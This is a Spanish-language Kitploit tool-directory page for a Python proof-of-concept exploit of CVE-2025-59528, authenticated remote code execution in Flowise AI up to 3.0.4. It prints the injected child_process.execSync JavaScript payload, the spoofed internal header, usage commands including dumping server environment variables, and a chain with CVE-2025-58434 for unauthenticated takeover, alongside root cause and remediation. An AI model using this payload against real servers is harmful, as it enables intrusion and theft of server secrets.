Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Flowise-RCE-CVE-2025-59528 — PoC de exploit en Python para CVE-2025-59528, que logra RCE autenticado en Flowise AI <= 3.0.4 a través del endpoint customMCP y Node.js child_process.execSync. | Kitploit
Herramientas/GitHubGitHub/arensballiu/flowise-rce-cve-2025-59528
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubarensballiu/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

PoC de exploit en Python para CVE-2025-59528, que logra RCE autenticado en Flowise AI <= 3.0.4 a través del endpoint customMCP y Node.js child_process.execSync.

Ver Repositorio
11hace 4h 37mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-59528 — Ejecución Remota de Código (RCE) Autenticada en Flowise AI

Descripción general

ID de CVE: CVE-2025-59528
Software afectado: Flowise AI
Versiones vulnerables: <= 3.0.4
Versión corregida: 3.0.5 y posteriores
Gravedad: Crítica
Autor: arensballiu
Fecha: 2025

Descripción

Las versiones de Flowise AI hasta la 3.0.4 inclusive permiten a un usuario autenticado lograr una Ejecución Remota de Código (RCE) en el servidor host enviando una carga útil de JavaScript manipulada al endpoint /api/v1/node-load-method/customMCP.

El método de carga del nodo customMCP acepta entrada controlada por el usuario que se evalúa en el lado del servidor como JavaScript, sin una sanitización o sandboxing adecuados. Al inyectar una carga útil que aprovecha child_process.execSync de Node.js, un atacante puede ejecutar comandos arbitrarios del sistema operativo con los privilegios del proceso del servidor Flowise.

El endpoint también requiere que esté presente el encabezado x-request-from: internal.

Endpoint afectado

EndpointMétodoAutenticación requeridaPropósito
/api/v1/auth/loginPOSTNoAutenticarse y obtener sesión
/api/v1/node-load-method/customMCPPOSTSí (cookie de sesión)Endpoint vulnerable del método de carga de nodo

Prueba de concepto

Archivo: CVE-2025-59528_POC.py

Requisitos

  • Python 3.x
  • Biblioteca requests
  • Credenciales válidas para cualquier cuenta de usuario en la instancia Flowise objetivo
root@kitploit:~
pip install requests

Uso

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Argumentos

FlagForma largaRequeridoDescripción
-e--emailSíDirección de correo del usuario autenticado
-i--urlSíURL base de la instancia Flowise
-p--passwordSíContraseña del usuario autenticado
-c--cmdSíComando del sistema operativo a ejecutar en el servidor

Ejemplos

Verificar la ejecución de código:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Recuperar las variables de entorno del servidor:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Salida esperada

root@kitploit:~
[+] Logged in
[+] Exploit sent
[+] Status: 200

Desglose de la carga útil

El exploit inyecta la siguiente expresión JavaScript en el campo mcpServerConfig:

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — carga el módulo integrado de ejecución de procesos de Node.js.
  • execSync('<command>') — ejecuta de forma síncrona el comando del sistema operativo proporcionado por el atacante.
  • La expresión completa se envuelve en un objeto literal para garantizar que se evalúe limpiamente dentro del contexto JavaScript del servidor.

El encabezado x-request-from: internal también se añade a la solicitud para pasar una verificación de origen interno que, de lo contrario, bloquearía la llamada.

Causa raíz

El endpoint customMCP pasa la entrada proporcionada por el usuario directamente a un contexto de evaluación de JavaScript en el servidor sin sanitización ni sandboxing. Combinado con el acceso sin restricciones a los módulos principales de Node.js (específicamente child_process) a través de process.mainModule.require, esto crea un vector de RCE trivialmente explotable. La verificación del encabezado x-request-from no proporciona una barrera de seguridad significativa, ya que no se valida contra ninguna fuente confiable.

Encadenamiento con CVE-2025-58434

Estas dos vulnerabilidades pueden encadenarse para una ruta de ataque de RCE no autenticada contra instancias de Flowise que ejecuten versiones <= 3.0.4:

  1. Usar CVE-2025-58434 para restablecer la contraseña de cualquier cuenta conocida (no se necesita autenticación previa).
  2. Iniciar sesión con las credenciales recién establecidas.
  3. Usar CVE-2025-59528 para ejecutar comandos arbitrarios del sistema operativo en el servidor.

Remediación

  • Actualizar a Flowise AI 3.0.5 o posterior, que elimina o aísla adecuadamente la ruta de evaluación vulnerable.
  • Nunca evaluar cadenas controladas por el usuario como código en un contexto del lado del servidor.
  • Restringir el acceso a módulos peligrosos de Node.js (child_process, fs, etc.) mediante un sandbox adecuado (por ejemplo, vm2, contextos aislados o eliminando el acceso a process.mainModule).
  • Validar y autenticar el encabezado x-request-from mediante un mecanismo del lado del servidor en lugar de una simple verificación de cadena.
  • Aplicar el principio de menor privilegio al proceso del servidor Flowise.

Descargo de responsabilidad

Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso de este script contra sistemas sin permiso escrito explícito es ilegal y poco ético. El autor y los colaboradores no asumen ninguna responsabilidad por su uso indebido.

Descargar herramienta